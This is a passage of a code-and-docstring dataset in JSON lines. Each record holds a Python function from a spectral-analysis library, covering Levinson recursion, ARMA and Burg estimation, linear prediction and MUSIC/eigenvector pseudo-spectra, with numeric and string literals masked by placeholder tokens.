up the code\n       test and doc.", "id": "f10931:m1"}
{"signature": "def levdown(anxt, enxt=None):", "body": "<EOL>if anxt[<NUM_LIT:0>] != <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>anxt = anxt[<NUM_LIT:1>:] <EOL>knxt = anxt[-<NUM_LIT:1>]<EOL>if knxt == <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>acur = (anxt[<NUM_LIT:0>:-<NUM_LIT:1>]-knxt*numpy.conj(anxt[-<NUM_LIT:2>::-<NUM_LIT:1>]))/(<NUM_LIT:1.>-abs(knxt)**<NUM_LIT:2>)<EOL>ecur = None<EOL>if enxt is not None:<EOL><INDENT>ecur = enxt/(<NUM_LIT:1.>-numpy.dot(knxt.conj().transpose(),knxt))<EOL><DEDENT>acur = numpy.insert(acur, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>return acur, ecur<EOL>", "docstring": "One step backward Levinson recursion\n\n    :param anxt:\n    :param enxt:\n    :return:\n        * acur the P'th order prediction polynomial based on the P+1'th order prediction polynomial, anxt.\n        * ecur the the P'th order prediction error  based on the P+1'th order prediction error, enxt.\n\n    ..  * knxt the P+1'th order reflection coefficient.", "id": "f10931:m2"}
{"signature": "def levup(acur, knxt, ecur=None):", "body": "if acur[<NUM_LIT:0>] != <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>acur = acur[<NUM_LIT:1>:] <EOL>anxt = numpy.concatenate((acur, [<NUM_LIT:0>])) + knxt * numpy.concatenate((numpy.conj(acur[-<NUM_LIT:1>::-<NUM_LIT:1>]), [<NUM_LIT:1>]))<EOL>enxt = None<EOL>if ecur is not None:<EOL><INDENT>enxt = (<NUM_LIT:1.> - numpy.dot(numpy.conj(knxt), knxt)) * ecur<EOL><DEDENT>anxt = numpy.insert(anxt, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>return anxt, enxt<EOL>", "docstring": "LEVUP  One step forward Levinson recursion\n\n    :param acur:\n    :param knxt:\n    :return:\n        * anxt the P+1'th order prediction polynomial based on the P'th order prediction polynomial, acur, and the\n          P+1'th order reflection coefficient, Knxt.\n        * enxt the P+1'th order prediction  prediction error, based on the P'th order prediction error, ecur.\n\n\n    :References:  P. Stoica R. Moses, Introduction to Spectral Analysis  Prentice Hall, N.J., 1997, Chapter 3.", "id": "f10931:m3"}
{"signature": "def arma2psd(A=None, B=None, rho=<NUM_LIT:1.>, T=<NUM_LIT:1.>, NFFT=<NUM_LIT>, sides='<STR_LIT:default>',<EOL>norm=False):", "body": "if NFFT is None:<EOL><INDENT>NFFT = <NUM_LIT><EOL><DEDENT>if A is None and B is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>psd = np.zeros(NFFT, dtype=complex)<EOL>if A is not None:<EOL><INDENT>ip = len(A)<EOL>den = np.zeros(NFFT, dtype=complex)<EOL>den[<NUM_LIT:0>] = <NUM_LIT:1.>+<NUM_LIT><EOL>for k in range(<NUM_LIT:0>, ip):<EOL><INDENT>den[k+<NUM_LIT:1>] = A[k]<EOL><DEDENT>denf = fft(den, NFFT)<EOL><DEDENT>if B is not None:<EOL><INDENT>iq = len(B)<EOL>num = np.zeros(NFFT, dtype=complex)<EOL>num[<NUM_LIT:0>] = <NUM_LIT:1.>+<NUM_LIT><EOL>for k in range(<NUM_LIT:0>, iq):<EOL><INDENT>num[k+<NUM_LIT:1>] = B[k]<EOL><DEDENT>numf = fft(num, NFFT)<EOL><DEDENT>if A is not None and B is not None:<EOL><INDENT>psd = rho / T * abs(numf)**<NUM_LIT> / abs(denf)**<NUM_LIT><EOL><DEDENT>elif A is not None:<EOL><INDENT>psd = rho / T / abs(denf)**<NUM_LIT><EOL><DEDENT>elif B is not None:<EOL><INDENT>psd = rho / T * abs(numf)**<NUM_LIT><EOL><DEDENT>psd = np.real(psd)<EOL>if sides != '<STR_LIT:default>':<EOL><INDENT>from . import tools<EOL>assert sides in ['<STR_LIT>']<EOL>if sides == '<STR_LIT>':<EOL><INDENT>psd = tools.twosided_2_centerdc(psd)<EOL><DEDENT><DEDENT>if norm == True:<EOL><INDENT>psd /= max(psd)<EOL><DEDENT>return psd<EOL>", "docstring": "r\"\"\"Computes power spectral density given ARMA values.\n\n    This function computes the power spectral density values\n    given the ARMA parameters of an ARMA model. It assumes that\n    the driving sequence is a white noise process of zero mean and\n    variance :math:`\\rho_w`. The sampling frequency and noise variance are\n    used to scale the PSD output, which length is set by the user with the\n    `NFFT` parameter.\n\n    :param array A:   Array of AR parameters (complex or real)\n    :param array B:   Array of MA parameters (complex or real)\n    :param float rho: White noise variance to scale the returned PSD\n    :param float T:   Sample interval in seconds to scale the returned PSD\n    :param int NFFT:  Final size of the PSD\n    :param str sides: Default PSD is two-sided, but sides can be set to centerdc.\n\n    .. warning:: By convention, the AR or MA arrays does not contain the\n        A0=1 value.\n\n    If :attr:`B` is None, the model is a pure AR model. If :attr:`A` is None,\n    the model is a pure MA model.\n\n    :return: two-sided PSD\n\n    .. rubric:: Details:\n\n    AR case: the power spectral density is:\n\n    .. math:: P_{ARMA}(f) = T \\rho_w \\left|\\frac{B(f)}{A(f)}\\right|^2\n\n    where:\n\n    .. math:: A(f) = 1 + \\sum_{k=1}^q b(k) e^{-j2\\pi fkT}\n    .. math:: B(f) = 1 + \\sum_{k=1}^p a(k) e^{-j2\\pi fkT}\n\n    .. rubric:: **Example:**\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        import spectrum.arma\n        from pylab import plot, log10, legend\n        plot(10*log10(spectrum.arma.arma2psd([1,0.5],[0.5,0.5])), label='ARMA(2,2)')\n        plot(10*log10(spectrum.arma.arma2psd([1,0.5],None)), label='AR(2)')\n        plot(10*log10(spectrum.arma.arma2psd(None,[0.5,0.5])), label='MA(2)')\n        legend()\n\n    :References: [Marple]_", "id": "f10932:m0"}
{"signature": "def arma_estimate(X, P, Q, lag):", "body": "R = CORRELATION(X, maxlags=lag, norm='<STR_LIT>')<EOL>R0 = R[<NUM_LIT:0>]<EOL>MPQ = lag - Q + P<EOL>N = len(X)<EOL>Y = np.zeros(N-P, dtype=complex)<EOL>for K in range(<NUM_LIT:0>, MPQ):<EOL><INDENT>KPQ = K + Q - P+<NUM_LIT:1><EOL>if KPQ < <NUM_LIT:0>:<EOL><INDENT>Y[K] = R[-KPQ].conjugate()<EOL><DEDENT>if KPQ == <NUM_LIT:0>:<EOL><INDENT>Y[K] = R0<EOL><DEDENT>if KPQ > <NUM_LIT:0>:<EOL><INDENT>Y[K] = R[KPQ]<EOL><DEDENT><DEDENT>Y.resize(lag)<EOL>if P <= <NUM_LIT:4>:<EOL><INDENT>res = arcovar_marple(Y.copy(), P)    <EOL>ar_params = res[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>res = arcovar(Y.copy(), P)    <EOL>ar_params = res[<NUM_LIT:0>]<EOL><DEDENT>Y.resize(N-P)<EOL>for k in range(P, N):<EOL><INDENT>SUM = X[k]<EOL>for j in range(<NUM_LIT:0>, P):<EOL><INDENT>SUM = SUM + ar_params[j] * X[k-j-<NUM_LIT:1>]   <EOL><DEDENT>Y[k-P] = SUM<EOL><DEDENT>ma_params, rho = ma(Y, Q, <NUM_LIT:2>*Q)     <EOL>return ar_params, ma_params, rho<EOL>", "docstring": "Autoregressive and moving average estimators.\n\n    This function provides an estimate of the autoregressive\n    parameters, the moving average parameters, and the driving\n    white noise variance of  an ARMA(P,Q) for a complex or real data sequence.\n\n    The parameters are estimated using three steps:\n\n        * Estimate the AR parameters from the original data based on a least\n          squares modified Yule-Walker technique,\n        * Produce a residual time sequence by filtering the original data\n          with a filter based on the AR parameters,\n        * Estimate the MA parameters from the residual time sequence.\n\n    :param array X: Array of data samples (length N)\n    :param int P: Desired number of AR parameters\n    :param int Q: Desired number of MA parameters\n    :param int lag: Maximum lag to use for autocorrelation estimates\n\n    :return:\n        * A     - Array of complex P AR parameter estimates\n        * B     - Array of complex Q MA parameter estimates\n        * RHO   - White noise variance estimate\n\n    .. note::\n      *  lag must be >= Q (MA order)\n\n    **dependencies**:\n        * :meth:`spectrum.correlation.CORRELATION`\n        * :meth:`spectrum.covar.arcovar`\n        * :meth:`spectrum.arma.ma`\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import arma_estimate, arma2psd, marple_data\n        import pylab\n\n        a,b, rho = arma_estimate(marple_data, 15, 15, 30)\n        psd = arma2psd(A=a, B=b, rho=rho, sides='centerdc', norm=True)\n        pylab.plot(10 * pylab.log10(psd))\n        pylab.ylim([-50,0])\n\n    :reference: [Marple]_", "id": "f10932:m1"}
{"signature": "def ma(X, Q, M):", "body": "if Q <= <NUM_LIT:0> or Q >= M:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>a, rho, _c = yulewalker.aryule(X, M, '<STR_LIT>')   <EOL>a = np.insert(a, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>ma_params, _p, _c = yulewalker.aryule(a, Q, '<STR_LIT>')    <EOL>return ma_params, rho<EOL>", "docstring": "Moving average estimator.\n\n    This program provides an estimate of the moving average parameters\n    and driving noise variance for a data sequence based on a\n    long AR model and a least squares fit.\n\n    :param array X: The input data array\n    :param int Q: Desired MA model order (must be >0 and <M)\n    :param int M: Order of \"long\" AR model (suggest at least 2*Q )\n\n    :return:\n        * MA    - Array of Q complex MA parameter estimates\n        * RHO   - Real scalar of white noise variance estimate\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import arma2psd, ma, marple_data\n        import pylab\n\n        # Estimate 15 Ma parameters\n        b, rho = ma(marple_data, 15, 30)\n        # Create the PSD from those MA parameters\n        psd = arma2psd(B=b, rho=rho, sides='centerdc')\n        # and finally plot the PSD\n        pylab.plot(pylab.linspace(-0.5, 0.5, 4096), 10 * pylab.log10(psd/max(psd)))\n        pylab.axis([-0.5, 0.5, -30, 0])\n\n    :reference: [Marple]_", "id": "f10932:m2"}
{"signature": "def __init__(self, data, P, Q, lag, NFFT=None, sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=False):", "body": "super(parma, self).__init__(data, ma_order=Q, ar_order=P, lag=lag,<EOL>NFFT=NFFT, sampling=sampling,<EOL>scale_by_freq=scale_by_freq)<EOL>self.lag = lag<EOL>", "docstring": "**Constructor:**\n\n        For a detailed description of the parameters, see :func:`arma_estimate`.\n\n        :param array data:     input data (list or numpy.array)\n        :param int P:\n        :param int Q:\n        :param int lag:\n        :param int NFFT: total length of the final data sets (padded with\n            zero if needed; default is 4096)\n        :param float sampling: sampling frequency of the input :attr:`data`.", "id": "f10932:c0:m0"}
{"signature": "def __init__(self, data, Q, M, NFFT=None, sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=False):", "body": "super(pma, self).__init__(data, ma_order=Q, ar_order=M,<EOL>NFFT=NFFT, sampling=sampling,<EOL>scale_by_freq=scale_by_freq)<EOL>", "docstring": "**Constructor:**\n\n        For a detailed description of the parameters, see :func:`ma`.\n\n        :param array data:     input data (list or numpy.array)\n        :param int Q:          MA order\n        :param int M:          AR model used to estimate the MA parameters\n        :param int NFFT:       total length of the final data sets (padded with zero \n                               if needed; default is 4096)\n        :param float sampling: sampling frequency of the input :attr:`data`.", "id": "f10932:c1:m0"}
{"signature": "def _arburg2(X, order):", "body": "x = np.array(X)<EOL>N = len(x)<EOL>if order <= <NUM_LIT:0.>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>rho = sum(abs(x)**<NUM_LIT>) / N  <EOL>den = rho * <NUM_LIT> * N<EOL>ef = np.zeros(N, dtype=complex)<EOL>eb = np.zeros(N, dtype=complex)<EOL>for j in range(<NUM_LIT:0>, N):  <EOL><INDENT>ef[j] = x[j]<EOL>eb[j] = x[j]<EOL><DEDENT>a = np.zeros(<NUM_LIT:1>, dtype=complex)<EOL>a[<NUM_LIT:0>] = <NUM_LIT:1><EOL>ref = np.zeros(order, dtype=complex)<EOL>temp = <NUM_LIT:1.><EOL>E = np.zeros(order+<NUM_LIT:1>)<EOL>E[<NUM_LIT:0>] = rho<EOL>for m in range(<NUM_LIT:0>, order):<EOL><INDENT>efp = ef[<NUM_LIT:1>:]<EOL>ebp = eb[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL>num = -<NUM_LIT>* np.dot(ebp.conj().transpose(),  efp)<EOL>den = np.dot(efp.conj().transpose(),  efp)<EOL>den += np.dot(ebp,  ebp.conj().transpose())<EOL>ref[m] = num / den<EOL>ef = efp + ref[m] * ebp<EOL>eb = ebp + ref[m].conj().transpose() * efp<EOL>a.resize(len(a)+<NUM_LIT:1>)<EOL>a = a + ref[m] * np.flipud(a).conjugate()<EOL>E[m+<NUM_LIT:1>] = (<NUM_LIT:1> - ref[m].conj().transpose()*ref[m]) * E[m]<EOL><DEDENT>return a, E[-<NUM_LIT:1>], ref<EOL>", "docstring": "This version is 10 times faster than arburg, but the output rho is not correct.\n\n\n    returns [1 a0,a1, an-1]", "id": "f10933:m0"}
{"signature": "def arburg(X, order, criteria=None):", "body": "if order <= <NUM_LIT:0.>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if order > len(X):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>x = np.array(X)<EOL>N = len(x)<EOL>rho = sum(abs(x)**<NUM_LIT>) / float(N)  <EOL>den = rho * <NUM_LIT> * N<EOL>if criteria:<EOL><INDENT>from spectrum import Criteria<EOL>crit = Criteria(name=criteria, N=N)<EOL>crit.data = rho<EOL>logging.debug('<STR_LIT>'.format(<EOL><NUM_LIT:0>, crit.old_data, crit.data, rho))<EOL><DEDENT>a = np.zeros(<NUM_LIT:0>, dtype=complex)<EOL>ref = np.zeros(<NUM_LIT:0>, dtype=complex)<EOL>ef = x.astype(complex)<EOL>eb = x.astype(complex)<EOL>temp = <NUM_LIT:1.><EOL>for k in range(<NUM_LIT:0>, order):<EOL><INDENT>num = sum([ef[j]*eb[j-<NUM_LIT:1>].conjugate() for j in range(k+<NUM_LIT:1>, N)])<EOL>den = temp * den - abs(ef[k])**<NUM_LIT:2> - abs(eb[N-<NUM_LIT:1>])**<NUM_LIT:2><EOL>kp = -<NUM_LIT> * num / den <EOL>temp = <NUM_LIT:1.> - abs(kp)**<NUM_LIT><EOL>new_rho = temp * rho<EOL>if criteria:<EOL><INDENT>logging.debug('<STR_LIT>'.format(<EOL>k+<NUM_LIT:1>, crit.old_data, crit.data, new_rho))<EOL>status = crit(rho=temp*rho, k=k+<NUM_LIT:1>)<EOL>if status is False:<EOL><INDENT>logging.debug('<STR_LIT>' % (crit.data, crit.old_data))<EOL>break<EOL><DEDENT><DEDENT>rho = new_rho<EOL>if rho <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % rho)<EOL><DEDENT>a.resize(a.size+<NUM_LIT:1>)<EOL>a[k] = kp<EOL>if k == <NUM_LIT:0>:<EOL><INDENT>for j in range(N-<NUM_LIT:1>, k, -<NUM_LIT:1>):<EOL><INDENT>save2 = ef[j]<EOL>ef[j] = save2 + kp * eb[j-<NUM_LIT:1>]          <EOL>eb[j] = eb[j-<NUM_LIT:1>] + kp.conjugate() *  save2<EOL><DEDENT><DEDENT>else:<EOL><INDENT>khalf = (k+<NUM_LIT:1>)//<NUM_LIT:2>  <EOL>for j in range(<NUM_LIT:0>, khalf):<EOL><INDENT>ap = a[j] <EOL>a[j] = ap + kp * a[k-j-<NUM_LIT:1>].conjugate()      <EOL>if j != k-j-<NUM_LIT:1>:<EOL><INDENT>a[k-j-<NUM_LIT:1>] = a[k-j-<NUM_LIT:1>] + kp * ap.conjugate()    <EOL><DEDENT><DEDENT>for j in range(N-<NUM_LIT:1>, k, -<NUM_LIT:1>):<EOL><INDENT>save2 = ef[j]<EOL>ef[j] = save2 + kp * eb[j-<NUM_LIT:1>]          <EOL>eb[j] = eb[j-<NUM_LIT:1>] + kp.conjugate() *  save2<EOL><DEDENT><DEDENT>ref.resize(ref.size+<NUM_LIT:1>)<EOL>ref[k] = kp<EOL><DEDENT>return a, rho, ref<EOL>", "docstring": "r\"\"\"Estimate the complex autoregressive parameters by the Burg algorithm.\n\n    .. math:: x(n) = \\sqrt{(v}) e(n) + \\sum_{k=1}^{P+1} a(k) x(n-k)\n\n    :param x:  Array of complex data samples (length N)\n    :param order: Order of autoregressive process (0<order<N)\n    :param criteria: select a criteria to automatically select the order\n\n    :return:\n        * A Array of complex autoregressive parameters A(1) to A(order). First\n          value (unity) is not included !!\n        * P Real variable representing driving noise variance (mean square\n          of residual noise) from the whitening operation of the Burg\n          filter.\n        * reflection coefficients defining the filter of the model.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from pylab import plot, log10, linspace, axis\n        from spectrum import *\n\n        AR, P, k = arburg(marple_data, 15)\n        PSD = arma2psd(AR, sides='centerdc')\n        plot(linspace(-0.5, 0.5, len(PSD)), 10*log10(PSD/max(PSD)))\n        axis([-0.5,0.5,-60,0])\n\n    .. note::\n        1. no detrend. Should remove the mean trend to get PSD. Be careful if\n           presence of large mean.\n        2. If you don't know what the order value should be, choose the\n           criterion='AKICc', which has the least bias and best\n           resolution of model-selection criteria.\n\n    .. note:: real and complex results double-checked versus octave using\n        complex 64 samples stored in marple_data. It does not agree with Marple\n        fortran routine but this is due to the simplex precision of complex\n        data in fortran.\n\n    :reference: [Marple]_ [octave]_", "id": "f10933:m1"}
{"signature": "def __init__(self, data, order, criteria=None, NFFT=None, sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=False):", "body": "super(pburg, self).__init__(data, ar_order=order,<EOL>sampling=sampling, NFFT=NFFT,<EOL>scale_by_freq=scale_by_freq)<EOL>self.criteria = criteria<EOL>", "docstring": "**Constructor**\n\n        For a detailled description of the parameters, see :func:`burg`.\n\n        :param array data:     input data (list or np.array)\n        :param int order:\n        :param str criteria:\n        :param int NFFT: total length of the final data sets (padded with zero if \n            needed; default is 4096)\n\n        :param float sampling: sampling frequency of the input :attr:`data`.", "id": "f10933:c0:m0"}
{"signature": "def lpc(x, N=None):", "body": "m = len(x)<EOL>if N is None:<EOL><INDENT>N = m - <NUM_LIT:1> <EOL><DEDENT>elif N > m-<NUM_LIT:1>:<EOL><INDENT>x.resize(N+<NUM_LIT:1>)<EOL><DEDENT>X = fft(x, <NUM_LIT:2>**nextpow2(<NUM_LIT>*len(x)-<NUM_LIT:1>))<EOL>R = real(ifft(abs(X)**<NUM_LIT:2>))<EOL>R = R/(m-<NUM_LIT:1.>) <EOL>a, e, ref = LEVINSON(R, N)<EOL>return a, e<EOL>", "docstring": "Linear Predictor Coefficients.\n\n    :param x:\n    :param int N: default is length(X) - 1\n\n    :Details:\n\n    Finds the coefficients :math:`A=(1, a(2), \\dots a(N+1))`, of an Nth order\n    forward linear predictor that predicts the current value value of the\n    real-valued time series x based on past samples:\n\n    .. math:: \\hat{x}(n) = -a(2)*x(n-1) - a(3)*x(n-2) - ... - a(N+1)*x(n-N)\n\n    such that the sum of the squares of the errors\n\n    .. math:: err(n) = X(n) - Xp(n)\n\n    is minimized. This function  uses the Levinson-Durbin recursion to\n    solve the normal equations that arise from the least-squares formulation.\n\n    .. seealso:: :func:`levinson`, :func:`aryule`, :func:`prony`, :func:`stmcb`\n\n    .. todo:: matrix case, references\n\n    :Example:\n\n    ::\n\n        from scipy.signal import lfilter\n        noise = randn(50000,1);  % Normalized white Gaussian noise\n        x = filter([1], [1 1/2 1/3 1/4], noise)\n        x = x[45904:50000]\n        x.reshape(4096, 1)\n        x = x[0]\n\n    Compute the predictor coefficients, estimated signal, prediction error, and autocorrelation sequence of the prediction error:\n\n\n    1.00000 + 0.00000i   0.51711 - 0.00000i   0.33908 - 0.00000i   0.24410 - 0.00000i\n\n    ::\n\n        a = lpc(x, 3)\n        est_x = lfilter([0 -a(2:end)],1,x);    % Estimated signal\n        e = x - est_x;                        % Prediction error\n        [acs,lags] = xcorr(e,'coeff');   % ACS of prediction error", "id": "f10934:m0"}
{"signature": "def music(X, IP, NSIG=None, NFFT=default_NFFT, threshold=None, criteria='<STR_LIT>',<EOL>verbose=False):", "body": "return eigen(X, IP, NSIG=NSIG, method='<STR_LIT>', NFFT=NFFT,<EOL>threshold=threshold, criteria=criteria, verbose=verbose)<EOL>", "docstring": "Eigen value pseudo spectrum estimate. See :func:`eigenfre`", "id": "f10936:m0"}
{"signature": "def ev(X, IP, NSIG=None, NFFT=default_NFFT, threshold=None, criteria='<STR_LIT>',<EOL>verbose=False):", "body": "return eigen(X, IP, NSIG=NSIG, method='<STR_LIT>', NFFT=NFFT,<EOL>threshold=threshold, criteria=criteria, verbose=verbose)<EOL>", "docstring": "Eigen value pseudo spectrum estimate. See :func:`eigenfre`", "id": "f10936:m1"}
{"signature": "def eigen(X, P, NSIG=None, method='<STR_LIT>', threshold=None, NFFT=default_NFFT,<EOL>criteria='<STR_LIT>', verbose=False):", "body": "if method not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if NSIG != None and threshold != None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if NSIG is not None:<EOL><INDENT>if NSIG < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if NSIG >= P:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>N = len(X)<EOL>NP = N - P<EOL>assert <NUM_LIT:2> * NP > P-<NUM_LIT:1>, '<STR_LIT>'<EOL>if NP > <NUM_LIT:100>:<EOL><INDENT>NP = <NUM_LIT:100><EOL><DEDENT>FB = np.zeros((<NUM_LIT:2>*NP, P), dtype=complex)<EOL>Z = np.zeros(NFFT, dtype=complex)<EOL>PSD = np.zeros(NFFT)<EOL>for I in range(<NUM_LIT:0>, NP):<EOL><INDENT>for K in range(<NUM_LIT:0>, P):<EOL><INDENT>FB[I, K] = X[I-K+P-<NUM_LIT:1>]<EOL>FB[I+NP, K] = X[I+K+<NUM_LIT:1>].conjugate()<EOL><DEDENT><DEDENT>_U, S, V = svd (FB)<EOL>V = -V.transpose()<EOL>NSIG  = _get_signal_space(S, <NUM_LIT:2>*NP,<EOL>verbose=verbose, threshold=threshold,<EOL>NSIG=NSIG, criteria=criteria)<EOL>for I in range(NSIG, P):<EOL><INDENT>Z[<NUM_LIT:0>:P] = V[<NUM_LIT:0>:P, I]<EOL>Z[P:NFFT] = <NUM_LIT:0><EOL>Z  = fft(Z, NFFT)<EOL>if method == '<STR_LIT>':<EOL><INDENT>PSD = PSD + abs(Z)**<NUM_LIT><EOL><DEDENT>elif method == '<STR_LIT>' :<EOL><INDENT>PSD = PSD + abs(Z)**<NUM_LIT> / S[I]<EOL><DEDENT><DEDENT>PSD = <NUM_LIT:1.>/PSD<EOL>nby2 = int(NFFT/<NUM_LIT:2>)<EOL>newpsd = np.append(PSD[nby2:<NUM_LIT:0>:-<NUM_LIT:1>], PSD[nby2*<NUM_LIT:2>-<NUM_LIT:1>:nby2-<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>return newpsd, S<EOL>", "docstring": "r\"\"\"Pseudo spectrum using eigenvector method (EV or Music)\n\n    This function computes either the Music or EigenValue (EV) noise\n    subspace frequency estimator.\n\n    First, an autocorrelation matrix of order `P` is computed from\n    the data. Second, this matrix is separated into vector subspaces,\n    one a signal subspace and the other a noise\n    subspace using a SVD method to obtain the eigen values and vectors.\n    From the eigen values :math:`\\lambda_i`, and eigen vectors :math:`v_k`,\n    the **pseudo spectrum** (see note below) is computed as follows:\n\n    .. math:: P_{ev}(f) = \\frac{1}{e^H(f)\\left(\\sum\\limits_{k=M+1}^{p} \\frac{1}{\\lambda_k}v_kv_k^H\\right)e(f)}\n\n    The separation of the noise and signal subspaces requires expertise\n    of the signal. However, AIC and MDL criteria may be used to automatically\n    perform this task.\n\n    You still need to provide the parameter `P` to indicate the maximum number\n    of eigen values to be computed. The criteria will just select a subset\n    to estimate the pseudo spectrum (see :func:`~spectrum.criteria.aic_eigen`\n    and :func:`~spectrum.criteria.mdl_eigen` for details.\n\n    .. note:: **pseudo spectrum**. func:`eigen` does not compute a PSD estimate.\n        Indeed, the method does not preserve the measured process power.\n\n    :param X: Array data samples\n    :param int P: maximum number of eigen values to compute. NSIG (if\n        specified) must therefore be less than P.\n    :param str method: 'music' or 'ev'.\n    :param int NSIG: If specified, the signal sub space uses NSIG eigen values.\n    :param float threshold: If specified, the signal sub space is made of the\n        eigen values larger than :math:`\\rm{threshold} \\times \\lambda_{min}`,\n        where :math:`\\lambda_{min}` is the minimum eigen values.\n    :param int NFFT: total length of the final data sets (padded with zero \n        if needed; default is 4096)\n\n    :return:\n        * PSD: Array of real frequency estimator values (two sided for\n                complex data and one sided for real data)\n        * S, the eigen values\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import eigen, marple_data\n        from pylab import plot, log10, linspace, legend, axis\n\n        psd, ev = eigen(marple_data, 15, NSIG=11)\n        f = linspace(-0.5, 0.5, len(psd))\n        plot(f, 10 * log10(psd/max(psd)), label='User defined')\n\n        psd, ev = eigen(marple_data, 15, threshold=2)\n        plot(f, 10 * log10(psd/max(psd)), label='threshold method (100)')\n\n        psd, ev = eigen(marple_data, 15)\n        plot(f, 10 * log10(psd/max(psd)), label='AIC method (8)')\n\n        legend()\n        axis([-0.5, 0.5, -120, 0])\n\n    .. seealso::\n        :func:`pev`,\n        :func:`pmusic`,\n        :func:`~spectrum.criteria.aic_eigen`\n\n    :References: [Marple]_, Chap 13\n\n    .. todo:: for developers:\n\n        * what should be the second argument of the criteria N, N-P, P...?\n        * what should be the max value of NP", "id": "f10936:m2"}
{"signature": "def _get_signal_space(S, NP, verbose=False, threshold=None, NSIG=None,<EOL>criteria='<STR_LIT>'):", "body": "from .criteria import aic_eigen, mdl_eigen<EOL>if NSIG is None:<EOL><INDENT>if threshold is None:<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>if criteria == '<STR_LIT>':<EOL><INDENT>aic = aic_eigen(S, NP*<NUM_LIT:2>)<EOL><DEDENT>elif criteria == '<STR_LIT>':<EOL><INDENT>aic = mdl_eigen(S, NP*<NUM_LIT:2>)<EOL><DEDENT>NSIG = np.argmin(aic) + <NUM_LIT:1><EOL>logging.debug('<STR_LIT>', NSIG, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>m = threshold * min(S)<EOL>new_s = S[np.where(S>m)]<EOL>NSIG = len(new_s)<EOL>logging.debug('<STR_LIT>', NSIG)<EOL>if NSIG == <NUM_LIT:0>:<EOL><INDENT>NSIG = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return NSIG<EOL>", "docstring": "todo", "id": "f10936:m3"}
{"signature": "def __init__(self, data, IP, NSIG=None, NFFT=None, sampling=<NUM_LIT:1.>,<EOL>threshold=None, criteria=\"<STR_LIT>\", verbose=False, scale_by_freq=False):", "body": "super(pmusic, self).__init__(data, ar_order=IP,<EOL>scale_by_freq=scale_by_freq, NFFT=NFFT, sampling=sampling)<EOL>self.NSIG = NSIG<EOL>self.threshold = threshold<EOL>self.criteria = criteria<EOL>self.verbose = verbose<EOL>", "docstring": "**Constructor:**\n\n        For a detailed description of the parameters, see :func:`arma_estimate`.\n\n        :param array data: input data (list or numpy.array)\n        :param int P: maximum number of eigen values to compute. NSIG (if\n            specified) must therefore be less than P.\n        :param int NSIG: If specified, the signal sub space uses NSIG eigen values.\n        :param int NFFT: total length of the final data sets (padded with zero if needed; default is 4096)\n        :param float sampling: sampling frequency of the input :attr:`data`.", "id": "f10936:c0:m0"}
{"signature": "def __init__(self, data, IP, NSIG=None, NFFT=None, sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=False,<EOL>threshold=None, criteria=\"<STR_LIT>\", verbose=False):", "body": "super(pev, self).__init__(data, ar_order=IP,<EOL>scale_by_freq=scale_by_freq, NFFT=NFFT, sampling=sampling)<EOL>self.NSIG = NSIG<EOL>self.threshold = threshold<EOL>self.criteria = criteria<EOL>self.verbose = verbose<EOL>", "docstring": "**Constructor:**\n\n        For a detailed description of the parameters, see :func:`arma_estimate`.\n\n        :param array data: input data (list or numpy.array)\n        :param int P: maximum number of eigen values to compute. NSIG (if\n            specified) must therefore be less than P.\n        :param int NSIG: If specified, the signal sub space uses NSIG eigen values.\n        :param int NFFT: total length of the final data sets (padded with\n            zero if needed; default is 4096)\n        :param float sampling: sampling frequency of the input :attr:`data`.", "id": "f10936:c1:m0"}
{"signature": "def fftshift(x):", "body": "return np.fft.fftshift(x)<EOL>", "docstring": "wrapper to numpy.fft.fftshift\n\n    .. doctest::\n\n        >>> from spectrum import fftshift\n        >>> x = [100, 2, 3, 4, 5]\n        >>> fftshift(x)\n        array([  4,   5, 100,   2,   3])", "id": "f10937:m0"}
{"signature": "def _swapsides(data):", "body": "N = len(data)<EOL>return np.concatenate((data[N//<NUM_LIT:2>+<NUM_LIT:1>:], data[<NUM_LIT:0>:N//<NUM_LIT:2>]))<EOL>", "docstring": "todo is it really useful ?\n\n    Swap  sides\n\n    .. doctest::\n\n        >>> from spectrum import swapsides\n        >>> x = [-2, -1, 1, 2]\n        >>> swapsides(x)\n        array([ 2, -2, -1])", "id": "f10937:m1"}
